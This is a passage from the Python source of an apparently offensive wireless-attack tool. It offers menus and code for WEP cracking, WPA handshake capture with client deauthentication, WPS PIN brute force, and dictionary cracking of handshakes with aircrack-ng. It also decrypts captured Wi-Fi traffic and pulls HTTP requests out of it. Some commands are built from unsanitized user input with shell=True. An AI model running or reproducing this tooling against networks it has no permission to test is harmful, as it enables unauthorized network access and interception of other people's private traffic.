                                                    TCL_ACK=TCL_ACK + int(CL_ACK)
                                                    if int(CL_ACK)==0:
                                                        CL_ACK=fcolor.BRed + str(CL_ACK)
                                                    AP_ACK=LSPLIT[8]
                                                    TAP_ACK=TAP_ACK+int(AP_ACK)
                                                    if int(AP_ACK)==0:
                                                        AP_ACK=fcolor.BRed + str(AP_ACK)
                                                    printc (" ",fcolor.SGreen + "Packet Sent : " + fcolor.BGreen + str(T_PKTS) + fcolor.SGreen + "\t\tAccess Point [ " + fcolor.SWhite + __builtin__.ATTACK_AP_BSSID + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(AP_ACK) + fcolor.SGreen + "\tClient [ " + fcolor.SWhite + CLIENTMAC + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(CL_ACK),"")
                                                    NORESULT=""
                                    if NORESULT=="1":
                                        printc ("!",fcolor.SRed + "No Result !!","")
                                    else:
                                        MSG=""
                                        if int(TCL_ACK)==0:
                                            MSG=MSG + "No acknowledgement received from Client"    
                                        if int(TAP_ACK)==0:    
                                            if MSG=="":
                                                MSG="No acknowledgement received from Access Point"
                                            else:
                                                MSG="No acknowledgement received from Access Point and Client"
                                        if MSG!="":
                                            printc (" ",fcolor.SRed + MSG,"")
                            else:
                                printc (".",fcolor.SRed + "MAC address removed..","")
                                __builtin__.WPA_DEAUTH_MAC=""
                    elif usr_resp=="7" or usr_resp=="R":
                        usr_resp=str(AskQuestion("Enter the refresh rate",fcolor.SGreen + "Default - " + str(WAITRATE),"U",WAITRATE,"")).lstrip().rstrip()
                        if usr_resp.isdigit()==True:
                            WAITRATE=int(usr_resp)
                    elif usr_resp=="C":
                        if len(__builtin__.CUR_CLIENT)>0:
                            ListClientFound()
                        else:
                            printc ("!",fcolor.SRed + "No client found !!","")
                    elif usr_resp=="3" or usr_resp=="A":
                        SELMAC=__builtin__.ATTACK_AP_BSSID 
                        SELCHN=__builtin__.ATTACK_AP_CH
                        SELCLN=str(len(__builtin__.CUR_CLIENT))
                        SUGGESTOPT="RETURN"
                        LineBreak()
                        printc ("i",fcolor.BBlue + "Access Point Auditing Menu","")
                        printc (" ",fcolor.BRed + "1" + fcolor.SWhite + " - Crack " + fcolor.BYellow + "W" + fcolor.SWhite + "EP Access Point","")
                        printc (" ",fcolor.BRed + "2" + fcolor.SWhite + " - " + "Capture WPA " + fcolor.BYellow + "H" + fcolor.SWhite + "andshake " + fcolor.SGreen + "  [ " + str(SELCLN) + " client(s) ]","")
                        printc (" ",fcolor.BRed + "3" + fcolor.SWhite + " - WPS " + fcolor.BYellow + "B" + fcolor.SWhite + "ruteforce PIN","")
                        printc (" ",fcolor.BRed + "4" + fcolor.SWhite + " - Live " + fcolor.BYellow + "M" + fcolor.SWhite + "onitor Access Point ","")
                        usr_resp=AskQuestion(fcolor.BGreen + "Select an option ","1/2/3/4 " + fcolor.SWhite + "Default - " + fcolor.BRed + str(SUGGESTOPT) ,"U",SUGGESTOPT,"1")
                        if usr_resp=="1" or usr_resp=="W" or usr_resp=="2" or usr_resp=="H" or usr_resp=="3" or usr_resp=="B":
                            __builtin__.LIVE_MON="1"
                            if usr_resp=="1" or usr_resp=="W":
                                ATTACKMODE="WEP"
                            elif usr_resp=="2" or usr_resp=="H":
                                ATTACKMODE="WPA Handshake"
                            elif usr_resp=="3" or usr_resp=="B":
                                ATTACKMODE="WPS Bruteforce"
                            printc ("i",fcolor.BGreen + "Shutting down all interfaces .....","")
                            ShutdownMonitor()
                            KillAllMonitor()
                            if ATTACKMODE!="WPS Bruteforce":
                                CreateMonitor("1","")
                            else:
                                CreateMonitor("1",1)
                            LineBreak()
                            __builtin__.LIVE_MON="1"
                            if ATTACKMODE=="WEP":
                                AttackWEPProc(SELMAC,SELCHN,__builtin__.CUR_CLIENT)
                                KillAllMonitor();LineBreak();MonitorAccessPoint(__builtin__.ATTACK_AP_BSSID,"")
    
                            if ATTACKMODE=="WPA Handshake":
                                __builtin__.WPA_AUTOCLIENT=="ON";__builtin__.WPA_DEAUTH_MAC=""
                                __builtin__.HS_File="";__builtin__.HS_FileFull="";__builtin__.HS_FileStrict="";__builtin__.HS_FileStrictFull=""
                                AttackWPAProc(SELMAC,SELCHN,__builtin__.CUR_CLIENT,"")
                                KillAllMonitor();LineBreak();MonitorAccessPoint(__builtin__.ATTACK_AP_BSSID,"")
                            if ATTACKMODE=="WPS Bruteforce":
                                AttackWPSProc(SELMAC,SELCHN,__builtin__.CUR_CLIENT,"")
                                KillAllMonitor();LineBreak();MonitorAccessPoint(__builtin__.ATTACK_AP_BSSID,"")
                    elif usr_resp=="8" or usr_resp=="N":
                        if IGNORE_NEG_CLIENT=="ON":
                            IGNORE_NEG_CLIENT="OFF"
                        else:
                            IGNORE_NEG_CLIENT="ON"
                    elif usr_resp=="9" or usr_resp=="S":
                        printc ("i",fcolor.BGreen + "Restarting Monitoring process .....","")
                        KillAllMonitor()
                        LineBreak()
                        MonitorAccessPoint(__builtin__.ATTACK_AP_BSSID,"")
                        return
                    elif usr_resp=="6" or usr_resp=="L":
                        OptInfoDisplay("","1")
                    elif usr_resp=="5" or usr_resp=="W":
                        LineBreak()
                        if IsProgramExists("wireshark")==True:
                            Rund="wireshark -r " + str(__builtin__.CapFile) + " > /dev/null 2>&1 &"
                            print fcolor.BBlue + spacing + "Open Current Captured Packets With Wireshark - " + fcolor.BYellow + str(__builtin__.CapFile)
                            result=os.system(Rund)
                    elif usr_resp=="P" or usr_resp=="HTTP" or usr_resp=="E":
                        DecryptOpt=usr_resp
                        spacing="      "
                        LineBreak()
                        OK=""
                        if IsProgramExists("wireshark")==True and usr_resp!="E":
                            printc ("i",fcolor.BBlue + "Open & Decrypt Captured Packets","")
                            OK="1"
                        elif usr_resp=="E":
                            if IsProgramExists("airdecap-ng")==True:
                                printc ("i",fcolor.BBlue + "Remove Encryption And Rewrite Packets","")
                                OK="1"
                            else:
                                printc ("!!!","AirDecap-Ng Not Found !!! Operation aborted.. ","")
                        if OK=="1":
                            printc (".",fcolor.SGreen + "Do take note that packets decryption is only available when a valid WEP Key is entered for WEP Encryption and","")
                            printc (" ",fcolor.SGreen + "a valid ESSID & WPA PSK is entered for WPA/WPA2 Encryption.","")
                            printc (" ",fcolor.SGreen + "For WPA Encryption, decryption is only available for station with successful full 4-way handshakes were captured.","")
                            printc (" ",fcolor.SGreen + "To check on captured Handshakes, use option '4' or 'H' on Live Access Point Monitoring Menu.\n","")
  
                            DisplayCapturedPacket(FNameSearch)
                            fileuse=__builtin__.CapFile
                            FFILE=[]
                            FFILE=glob.glob(FNameSearch)
                            if len(FFILE)>0 :
                                usr_resp=AskQuestion("Enter a captured file above",fcolor.SGreen + "Default-Current",""," ","")
                                print ""
                                if usr_resp!=" ":
                                    if usr_resp.isdigit()==True:
                                        if int(usr_resp)-1<len(__builtin__.CapFileList):
                                            file1=mondir + str(__builtin__.CapFileList[int(usr_resp)-1])
                                        else:
                                            file1=mondir + usr_resp
                                    else:
                                        file1=mondir + usr_resp
                                    file2=usr_resp
                                    fileuse=""
                                    if IsFileDirExist(file1)=="F":
                                        fileuse=file1
                                    elif IsFileDirExist(file2)=="F":
                                        fileuse=file2
                                    else:
                                        printc ("!!!","The selected file " + fcolor.SWhite + str(usr_resp) + fcolor.BRed + " not found !","")
                                        printc (" ",fcolor.SWhite + "Default file : " + fcolor.BWhite + str(__builtin__.CapFile) + fcolor.SWhite + " will be use.","")
                                else:
                                    fileuse=__builtin__.CapFile
                            printc (".",fcolor.BGreen + "Selected Packet File : " + fcolor.BYellow + str(fileuse),"")
                            LineBreak()
                            D_ESSID=str(AskQuestion("Enter the ESSID",fcolor.SGreen + "Default - " + fcolor.BYellow + str(__builtin__.ATTACK_AP_ESSID),"U",__builtin__.ATTACK_AP_ESSID,"1")).lstrip().rstrip()
                            if D_ESSID=="":
                                printc ("!",fcolor.SRed + "ESSID must be entered !! Aborted..","")
                            else:
                                CRACKED=CheckCrackingStatus(__builtin__.ATTACK_AP_BSSID)
                                if __builtin__.DECKEY!="":
                                    DDEFAULT="Default - " + fcolor.BYellow + str(__builtin__.DECKEY)
                                    DDKEY=__builtin__.DECKEY
                                else:
                                    DDEFAULT=""
                                    DDKEY=""
                                if str(__builtin__.ATTACK_AP_PRIVACY).find("WEP")!=-1:
                                    DECTYPE="WEP"
                                    QPASS="Enter WEP Key (HEX)"
                                else:
                                    DECTYPE="WPA/WPA2"
                                    QPASS="Enter WPA Password"
                                D_PASS=str(AskQuestion(QPASS,fcolor.SGreen + DDEFAULT,"",DDKEY,"1")).lstrip().rstrip()
                               
                                if D_PASS=="":
                                    printc ("!",fcolor.SRed + "Password must be entered !! Aborted..","")
                                else:
                                    Argm2=""
                                    print ""
                                    if str(__builtin__.ATTACK_AP_PRIVACY).find("WEP")!=-1:
                                        Argm=" -o wlan.enable_decryption:TRUE -o \"wlan.wep_key1:" + D_PASS + "\""
                                        Argm2=" -l -w " + D_PASS + " " + str(fileuse)  
                                    else:
                                        D_PASS=str(D_PASS).replace("%","%25").replace("\\","%5c").replace("\x22","%22").replace("\x27","%27").replace(" ","%20").replace("\x3a","%3a").replace("\x3b","%3b")
                                        Argm=" -o wlan.enable_decryption:TRUE -o \"uat:80211_keys:\\\"" + "wpa-pwd" + "\\\",\\\"" + D_PASS + ":" + D_ESSID + "\\\"\""
                                        Argm2=" -l -e '" + str(D_ESSID) + "' -p '" + D_PASS + "' " + str(fileuse) 
                                    if DecryptOpt=="P":
                                        print fcolor.BBlue + spacing + "Open Selected Captured Packets With Wireshark (Decrypted) - " + str(DECTYPE) + fcolor.BYellow + " ~ " + str(fileuse)
                                        Rund="wireshark -r " + str(fileuse) + str(Argm) + " > /dev/null 2>&1 &"
                                        ps=Popen(str(Rund), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                                    elif DecryptOpt=="HTTP":
                                        print fcolor.BBlue + spacing + "Please wait while pharsing captured HTTP - " + str(DECTYPE) + fcolor.BYellow + " ~ " + str(fileuse)
                                        Rund="tshark -nr " + str(fileuse) + str(Argm) +  " -R 'http.request || http.response' " + " > " + tmpdir + "http.txt"
                                        ps=Popen(str(Rund), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                                        ps.wait()
                                        Explore(tmpdir + "http.txt","")
                                    elif DecryptOpt=="E":
                                        Desktop=os.path.expanduser("~/Desktop/")
                                        result=SplitFileDetail(fileuse)
                                        DecFile=__builtin__.FileNameOnly  + "-dec.cap"
                                        NewDecFile=Desktop+ "Decrypted_" + __builtin__.FileName
                                        print fcolor.BBlue + spacing + "Please wait while rewriting decrypted packets - " + str(DECTYPE) + fcolor.BYellow + " ~ " + str(fileuse)
                                        Rund="airdecap-ng" + Argm2 + " > " + tmpdir + "decap.txt"
                                        DelFile(tmpdir + "decap.txt","")
                                        ps=Popen(str(Rund), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                                        ps.wait()
                                        print ""
                                        printc ("i",fcolor.BBlue + "Decryption Summary","")
                                        printc (" ", fcolor.SGreen + "Selected File  : " + fcolor.BGreen + fileuse,"")
                                        if IsFileDirExist(DecFile)=="F":
                                            shutil.move(DecFile, NewDecFile)
                                            DecOpen=""
                                            if IsFileDirExist(NewDecFile)=="F":
                                                printc (" ", fcolor.SGreen + "Decrypted File : " + fcolor.BGreen + NewDecFile,"")
                                                DecOpen=NewDecFile
                                            else:
                                                printc (" ", fcolor.SGreen + "Decrypted File : " + fcolor.BGreen + DecFile,"")
                                                DecOpen=DecFile
                                            print ""
                                        else:
                                            print ""
                                            printc ("!!!", "Failed to decrypt the selected file !!!","")
                                            print ""
                                        if IsFileDirExist(tmpdir + "decap.txt")=="F":
                                            with open(tmpdir + "decap.txt","r") as f:
                                                for line in f:
                                                    sline=str(line).replace("\r","").replace("\n","").lstrip().rstrip()
                                                    sline=str(sline).replace(" read", fcolor.SGreen + " read" + fcolor.BYellow)
                                                    sline=str(sline).replace(" packets ", fcolor.SGreen + " packets " + fcolor.BYellow)
                                                    if str(sline).find("packets...")<1:
                                                        print "      " + fcolor.SGreen + str(sline)
                                        DelFile(tmpdir + "decap.txt","")
                                        if IsFileDirExist(DecOpen)=="F":
                                            print ""
                                            usr_resp=AskQuestion(fcolor.BGreen + "Do you want to open the decrypted file ?" + fcolor.BGreen,"Y/n","U","Y","1")
                                            if usr_resp=="Y":
                                                print "\n" + fcolor.BBlue + spacing + "Open decrypted packets with Wireshark ~ " + fcolor.BYellow + str(DecOpen)
                                                Rund="wireshark -r " + str(DecOpen) + " > /dev/null 2>&1 &"
                                                ps=Popen(str(Rund), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                                                ps.wait()
                    elif usr_resp=="4" or usr_resp=="H":
                        ManualCheckHandShake(__builtin__.CapFile)
                else:
                    retkey=""
            LineBreak()
            NEWCLIENT=GetClientFromCSV (FName + "-01.csv")
            if len(NEWCLIENT)>0:
                __builtin__.CUR_CLIENT=__builtin__.NEW_CLIENT
                ClentList=__builtin__.NEW_CLIENT
                __builtin__.CUR_CLIENT_FS=__builtin__.NEW_CLIENT_FS
                __builtin__.CUR_CLIENT_LS=__builtin__.NEW_CLIENT_LS
                __builtin__.CUR_CLIENT_PWR=__builtin__.NEW_CLIENT_PWR
                __builtin__.CUR_CLIENT_DATA=__builtin__.NEW_CLIENT_DATA
                __builtin__.CUR_CLIENT_PROBE=__builtin__.NEW_CLIENT_PROBE
                x=0
                while x<len(__builtin__.NEW_CLIENT):
                    if str(__builtin__.NEW_CLIENT2).find(__builtin__.NEW_CLIENT[x])==-1:
                        __builtin__.NEW_CLIENT2.append (__builtin__.NEW_CLIENT[x])
                        __builtin__.NEW_CLIENT_PROBE2.append ("")
                    x=x+1
                __builtin__.Captured_TSharkSniff=tmpdir + "TsharkSniff.txt"
                if IsFileDirExist(__builtin__.Captured_TSharkSniff)=="F":
                    with open(__builtin__.Captured_TSharkSniff,"r") as f:
                        for line in f:
                            sline=str(line).replace("\r","").replace("\n","").lstrip().rstrip()
                            if str(sline).find("Probe Request")>1:
                                tmplist=[]
                                sline=sline.replace("\n","").replace("\r","").replace("signal antenna ","")
                                sline=sline.replace("             -> ","xx:xx:xx:xx:xx:xx -> ").replace("->              ","-> xx:xx:xx:xx:xx:xx ").replace(" -> "," ").replace(", "," ").replace("  "," ").replace("  "," ")
                                sline=sline.replace("Beacon frame","Beacon").replace("QoS Null function (No data)","QoS_Null").replace("QoS Data","QoS_Data").replace("Probe Request","Probe_Request").replace("Probe Response","Probe_Response").replace(" (RA)","").replace(" (TA)","").replace("802.11 Block Ack","Block-Ack").replace("Fragmented IEEE 802.11 frame","Fragmented_Frame").replace("Unrecognized (Reserved frame)","Unrecognized").replace("","").replace(" (No data)","").replace(" (Control-frame)","").replace("Association Response","Association_Response").replace("Association Request","Association_Request").replace("Null function","Null_Function").replace(" (Reserved frame)","").replace("Measurement Pilot","Measurement_Pilot").replace(" (BSSID)","").replace("Action No Ack","ActionNoAck").replace("QOS_DATA + CF-ACKNOWLEDGEMENT","QoS_Data+CF-Ack").replace("QoS_Data + CF-Poll","QoS_Data+CF-Poll").replace("Reassociation Request","Reassociation_Request").replace("Block-Ack Req","Block-Ack-Req").replace("","").replace("","").replace("","").replace("  "," ").replace("  "," ").replace("","").replace("","").replace("","").replace("","").replace("","").replace("  "," ").replace("  "," ")
                                sline=RephaseLine(sline)
                                sline=sline + "\t.\t.\t.\t.\t."
                                sline=str(sline).lstrip().rstrip()
                                tmplist=sline.split("\t")
                                MACFR=str(tmplist[2]).upper()
                                MACTO=str(tmplist[3]).upper()
                                PROBENAME=str(tmplist[10])
                                if str(PROBENAME)[:5]=="SSID=":
                                    PROBENAME=str(PROBENAME[5:])
                                    if PROBENAME=="Broadcast":
                                        PROBENAME=""
                                else:
                                    PROBENAME=""
                                x=0
                                
                                while x< len(__builtin__.NEW_CLIENT2):
                                    CMAC=__builtin__.NEW_CLIENT2[x]
                                    PROBE=__builtin__.NEW_CLIENT_PROBE2 [x]
                                    if CMAC==MACFR or CMAC==MACTO:
                                        if PROBENAME!="":
                                            if str(PROBE).find(PROBENAME)==-1:
                                                __builtin__.NEW_CLIENT_PROBE2 [x]=__builtin__.NEW_CLIENT_PROBE2 [x] + " / " + PROBENAME
                                                __builtin__.CUR_CLIENT_PROBE [x]=__builtin__.CUR_CLIENT_PROBE [x] + " / " + PROBENAME
                                    if str(__builtin__.NEW_CLIENT_PROBE2 [x])[:3]==" / ":
                                        __builtin__.NEW_CLIENT_PROBE2 [x]=str(__builtin__.NEW_CLIENT_PROBE2 [x])[3:]
                                    x=x+1
                                
                    open(__builtin__.Captured_TSharkSniff,"w").write("")                            
                __builtin__.CUR_CLIENT_PROBE=__builtin__.NEW_CLIENT_PROBE2
    sData="BSSIDDetail-End;" + Now() + ";" + str(__builtin__.ATTACK_AP_BSSID).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_CH).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_PRIVACY).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_CIPHER).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_AUTH).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_FS).lstrip().rstrip()+ ";" +  str(__builtin__.ATTACK_AP_LS).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";" + str(len(__builtin__.CUR_CLIENT)) + ";" + str(__builtin__.ATTACK_AP_ESSID).lstrip().rstrip()+ ";" 
    LogMonDetail(sData)
    DisplayComplete(__builtin__.TStart)
    KillSubProc(__builtin__.Sniffer)
    DelFile(FNameDel + "*.csv","")
    DelFile(FNameDel + "*.netxml","")
    LogMonDetail(LastData)
    LogMonDetail("MonEnd;" + Now() + ";\n")
    __builtin__.MONLogfile=""
    LineBreak()
    printc ("x","","")
    OptAuditing("")
    return

def DisplayCapturedPacket(PK_File):
    FFILE=[]
    FFILE=glob.glob(PK_File)
    MaxFLen=GetFileMaxLength(FFILE)
    MaxFLen=MaxFLen+5
    __builtin__.CapFileList=[]
    if len(FFILE)>0:
        FFILE.sort()
        cl=0
        fct=0
        colr=0;Cracked=""
        printc ("i",fcolor.BGreen + "List of saved captured packets files.","")
        while cl<len(FFILE):
            if IsFileDirExist(FFILE[cl])=="F":
                GetFileDetail(FFILE[cl])
                FName=str(FFILE[cl]).replace(mondir,"")
                if colr==0:
                    colr=1
                    printc(" ",fcolor.SGreen + str(fct + 1) + " \t" + str(FName).ljust(MaxFLen) + str(__builtin__.FileModified) + "    " + str(__builtin__.FileSize), "")
                    __builtin__.CapFileList.append (str(FName))
                else:
                    colr=0
                    printc(" ",fcolor.CDim + fcolor.White + str(fct + 1) + " \t" +  str(FName).ljust(MaxFLen) +  str(__builtin__.FileModified) + "    " + str(__builtin__.FileSize), "")
                    __builtin__.CapFileList.append (str(FName))
                fct = fct + 1
            cl = cl+1
        print ""
        printc ("i",fcolor.BWhite + "Total " + fcolor.BRed + str(fct) + fcolor.BWhite + " file(s) listed.","")
    else:
        printc ("!",fcolor.SRed + "No saved captured packet found !!","")
        print "";

def Hex2Chr(sHex):
    return ''.join((chr(int(sHex[i:i+2],16)) if int(sHex[i:i+2],16) >= 32 and int(sHex[i:i+2],16) <=126  else '.') for i in range(0,len(sHex),2))

def AddHexColon(sHex):
    return ':'.join(sHex[i:i+2] for i in range(0,len(sHex),2))

def ConvertHex(sHex):
    sHex=str(sHex).replace(":","").replace("-","")
    __builtin__.STR_HEX=str(sHex).upper()
    __builtin__.STR_CHR=''.join((chr(int(sHex[i:i+2],16)) if int(sHex[i:i+2],16) >= 32 and int(sHex[i:i+2],16) <=126  else '.') for i in range(0,len(sHex),2))
    __builtin__.STR_HEXCOLON=':'.join(sHex[i:i+2] for i in range(0,len(sHex),2))
    __builtin__.STR_LENHEX=len(sHex)
    __builtin__.STR_LEN=len(sHex)/2
    if int(__builtin__.STR_LENHEX)==10:
        __builtin__.STR_BIT="64"
    if int(__builtin__.STR_LENHEX)==26:
        __builtin__.STR_BIT="128"

def CheckCrackingStatus(TargetMAC):
    DInfo=""
    __builtin__.DECKEY=""
    __builtin__.WPSKEY=""
    TargetMAC2=str(TargetMAC).replace(":","")
    HS_File=savedir + "Handshake_" + TargetMAC2 + "*.cap"
    FFILE=[]
    FFILE=glob.glob(HS_File)
    if len(FFILE)>0:
        DInfo=fcolor.SWhite + " [Handshake=" + fcolor.SGreen + str(len(FFILE)) + fcolor.SWhite + "]"
    ReaverLog=ReaverPath + str(TargetMAC2) + ".wpc"
    if IsFileDirExist(ReaverLog)=="F":
        Result=CheckWPSLog (TargetMAC2)
        Result=str(Result).replace(" ","")
        DInfo=DInfo + fcolor.SWhite + " [WPS_POS=" + fcolor.SGreen + str(Result) + fcolor.SWhite + "]"
    Found=CheckCrackDB(TargetMAC)
    if Found=="1":
        DWPS=""
        if str(__builtin__.DB_WPS)!="":
            DWPS=fcolor.SWhite + " WPS=" + fcolor.SYellow + __builtin__.DB_WPS
        DInfo=fcolor.SWhite + " [Cracked] - " + fcolor.SYellow + str(__builtin__.DB_ENCKEY) + str(DWPS)
        __builtin__.DECKEY=__builtin__.DB_ENCKEY
        __builtin__.WPSKEY=__builtin__.DB_WPS
    return DInfo

def GetFileMaxLength(FFILE):
    c=0
    lth=0
    while c<len(FFILE):
        filename=str(FFILE[c]).replace(savedir,"")
        fl=len(filename)
        if fl>lth:
            lth=fl
        c=c+1
    return lth

def DisplayCapturedFile(HS_File):
    FFILE=[]
    FFILE=glob.glob(HS_File)
    MaxFLen=GetFileMaxLength(FFILE)
    MaxFLen=MaxFLen+5
    __builtin__.CapFileList=[]
    if len(FFILE)>0:
        FFILE.sort()
        cl=0
        fct=0
        colr=0;Cracked=""
        printc ("i",fcolor.BGreen + "List of saved WPA Handshake files.","")
        while cl<len(FFILE):
            if IsFileDirExist(FFILE[cl])=="F":
                FOUND=CheckCrackDB(FFILE[cl])
                if FOUND=="1":
                    DWPS=""
                    if str(__builtin__.DB_WPS)!="":
                        DWPS=fcolor.SWhite + " WPS=" + fcolor.SYellow + __builtin__.DB_WPS
                    Cracked=fcolor.BRed + " \t[Cracked]" + fcolor.BYellow + " - " + str(__builtin__.DB_ENCKEY) + str(DWPS)
                GetFileDetail(FFILE[cl])
                FName=str(FFILE[cl]).replace(savedir,"")
                if colr==0:
                    colr=1
                    printc(" ",fcolor.SGreen + str(fct + 1) + " \t" + str(FName).ljust(MaxFLen) + str(__builtin__.FileModified) + "    " + str(__builtin__.FileSize) + str(Cracked) + "", "")
                    __builtin__.CapFileList.append (str(FName))
                else:
                    colr=0
                    printc(" ",fcolor.CDim + fcolor.White + str(fct + 1) + " \t" +  str(FName).ljust(MaxFLen) +  str(__builtin__.FileModified) + "    " + str(__builtin__.FileSize) + str(Cracked)  + "", "")
                    __builtin__.CapFileList.append (str(FName))
                
                fct = fct + 1
            Cracked=""
            cl = cl+1
        print ""
        printc ("i",fcolor.BWhite + "Total " + fcolor.BRed + str(fct) + fcolor.BWhite + " file(s) listed.","")
    else:
        printc ("!",fcolor.SRed + "No saved WPA Handshake found !!","")
        print "";

def CrackWPAKey(HS_File,Auto):
    DICTIONARYUSE="";WPA_CRACKED=""
    if HS_File=="":
        HS_File=savedir + "Handshake_" + "*.cap"
    printc ("i",fcolor.BBlue + "WPA/WPA2 Handshake Cracking","")
    printc (" ",fcolor.SWhite + "This function allow user to select captured WPA/WPA2 handshake file for cracking using Aircrack-NG.\n","")
    if Auto=="":
        DisplayCapturedFile(HS_File)
    fileuse=""
    FFILE=[]
    FFILE=glob.glob(HS_File)
    if len(FFILE)>0 :
        if Auto=="":
            usr_resp=AskQuestion("Enter a Handshake file above",fcolor.SGreen + "Default-Return / Help",""," ","")
            print ""
            if usr_resp!=" ":
                FILTER=""
                if str(usr_resp).upper()=="STRICT":
                    FILTER="1";HS_File=savedir + "Handshake_" + "*_Strict*.cap";
                if str(usr_resp).upper()=="FULL":
                    FILTER="1";HS_File=savedir + "Handshake_" + "*Full.cap";
                if str(usr_resp).upper()=="NONSTRICT":
                    FILTER="1";HS_File=savedir + "Handshake_" + "*_Full.cap";
                if str(usr_resp).upper()=="ALL":
                    FILTER="1";HS_File=savedir + "Handshake_" + "*.cap";
                if str(usr_resp).find("*")!=-1 or str(usr_resp).find(":")!=-1:
                    usr_resp=str(usr_resp).replace("*","")
                    usr_resp=str(usr_resp).replace(":","")
                    FILTER="1";HS_File=savedir + "*" + str(usr_resp) + "*.cap";
                if str(usr_resp).upper()=="HELP":
                    FILTER="1"
                    printc ("i",fcolor.BBlue + "Help options","")
                    printc (" ", fcolor.BYellow + "ALL      " +   fcolor.SWhite + " - Show all captured Handshake files","")
                    printc (" ", fcolor.BYellow + "FULL     " +   fcolor.SWhite + " - Show Full Packet Handshake files","")
                    printc (" ", fcolor.BYellow + "STRICT   " + fcolor.SWhite + " - Show Strict Handshake files (4/4 HS)","")
                    printc (" ", fcolor.BYellow + "NONSTRICT" + fcolor.SWhite + " - Show Non-Strict Handshake files (3/4 HS)","")
                    printc (" ", fcolor.BYellow + "<Name>*  " + fcolor.SWhite + " - Show Filtered <Name> files [Case sensitive]. Ex : SYWorks*","")
                    printc (" ", fcolor.BYellow + "<MAC_ID> " + fcolor.SWhite + " - Show Filtered <MAC Address> files. Ex : 00:11:AA:22:BB:33","")
                    print ""
                    printc ("x","","")
                if FILTER=="1":
                    LineBreak()
                    CrackWPAKey(HS_File,Auto)
                    return
                if usr_resp.isdigit()==True:
                    if int(usr_resp)-1<len(__builtin__.CapFileList):
                        file1=savedir + str(__builtin__.CapFileList[int(usr_resp)-1])
                    else:
                        file1=savedir + usr_resp
                else:
                    file1=savedir + usr_resp
                file2=usr_resp
                fileuse=""
                if IsFileDirExist(file1)=="F":
                    fileuse=file1
                elif IsFileDirExist(file2)=="F":
                    fileuse=file2
                else:
                    printc ("!!!","The selected file " + fcolor.SWhite + str(usr_resp) + fcolor.BRed + " not found !","")
                    printc ("x","","")
                    LineBreak()
                    CrackWPAKey(HS_File,Auto)
                    return
        else:
            fileuse=HS_File
        if fileuse!="":
            LineBreak()
            printl (tabspacefull + fcolor.BGreen + "Checking " + fcolor.SGreen + str(fileuse) + fcolor.BGreen + " for Handshake...","0","")
            print ""
            cmd="aircrack-ng \x22" + str(fileuse) + "\x22"
            printl (tabspacefull + fcolor.SGreen + "Reading packets...\r","0","")
            ps=subprocess.Popen(cmd , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
            readout=str(ps.stdout.read())
            lines=str(readout).split("\n")
            p=0
            blankct=0;crackstarted=""
            msg="";FBSSID="";FESSID="";FEncr="";HS=0
            for line in lines:
                line=str(line).replace("\n","").replace("\r","").lstrip().rstrip()
                if line!="":
                    if str(line).find("BSSID")!=-1 and str(line).find("ESSID")!=-1 and str(line).find("Encryption")!=-1:
                        p=1
                        PosBSSID1=line.index("BSSID")
                        PosESSID1=line.index("ESSID")
                        PosBSSID2=PosESSID1-1
                        PosEncr1=line.index("Encrypt")
                        PosESSID2=PosEncr1-1
                    if p==1 and str(line).find("handshake)")!=-1:
                        FBSSID=str(line[PosBSSID1:PosBSSID2]).lstrip().rstrip()
                        FESSID=str(line[PosESSID1:PosESSID2]).lstrip().rstrip()
                        PosEncr2=len(line)
                        FEncr=str(line[PosEncr1:PosEncr2]).lstrip().rstrip()
                        if str(FEncr).find(" handshake)")!=-1:
                            shs=[]
                            shs=str(FEncr).replace("(","").replace(")","").split(" ")
                            if len(shs)>2:
                                if str(shs[0]).find("WPA")!=-1 and shs[2]=="handshake":
                                   EncType=str(shs[0]).upper()
                                   HS=shs[1]
                                   HS=int(HS)
                                   if HS>0:
                                       msg="Found"
                                   else:
                                       msg="Handshake Not Found !!!"
                    if str(line).find("No networks found")!=-1:
                        msg="No Network Found !!!"
            if msg=="Found":
                print fcolor.BCyan + tabspacefull + str(HS) + " Handshake Found !!\t\t" + fcolor.SGreen + "BSSID : " + fcolor.BRed + str(FBSSID) + fcolor.SGreen + "\t\tESSID : " + fcolor.BPink + str(FESSID)
                if Auto=="1":
                    DICTIONARYUSE=__builtin__.SELECTED_DICT
                else:
                    print ""
                    printc ("i",fcolor.BBlue + "List of Dictionary","")
                    DisplayDictionaryList("1")
                    print ""
                    printc (" ",fcolor.SGreen + "Default Dectionary : " + fcolor.BYellow + str(__builtin__.SELECTED_DICT),"")
                    usr_resp=AskQuestion("Select a dictionary",fcolor.SGreen + "Default Dictionary","", " ","1")
                    LineBreak()
                    if usr_resp==" ":
                        DICTIONARYUSE=__builtin__.SELECTED_DICT
                    else:
                        if usr_resp.isdigit()==True:
                            usr_resp=usr_resp-1
                            if usr_resp>len(__builtin__.DictionaryList):
                                printc ("!!!","Invalid option. Default dictionary will be use.","")
                                DICTIONARYUSE=__builtin__.SELECTED_DICT
                        else:
                            if IsFileDirExist(usr_resp)=="F":
                                DICTIONARYUSE=usr_resp
                            else:
                                printc ("!!!","Dictionary Not Found. Default dictionary will be use.","")
                                DICTIONARYUSE=__builtin__.SELECTED_DICT
                printc ("i",fcolor.BPink + "Dictionary Used : " + fcolor.BWhite + str(DICTIONARYUSE) + "","")
                tmpstatus=tmpdir + "CRACKING.txt"
                __builtin__.WPAKeyFile=tmpdir + "WPA_CRACKED.txt"
                DelFile(tmpstatus,"")
                DelFile(__builtin__.WPAKeyFile,"")
                KillAllMonitor()
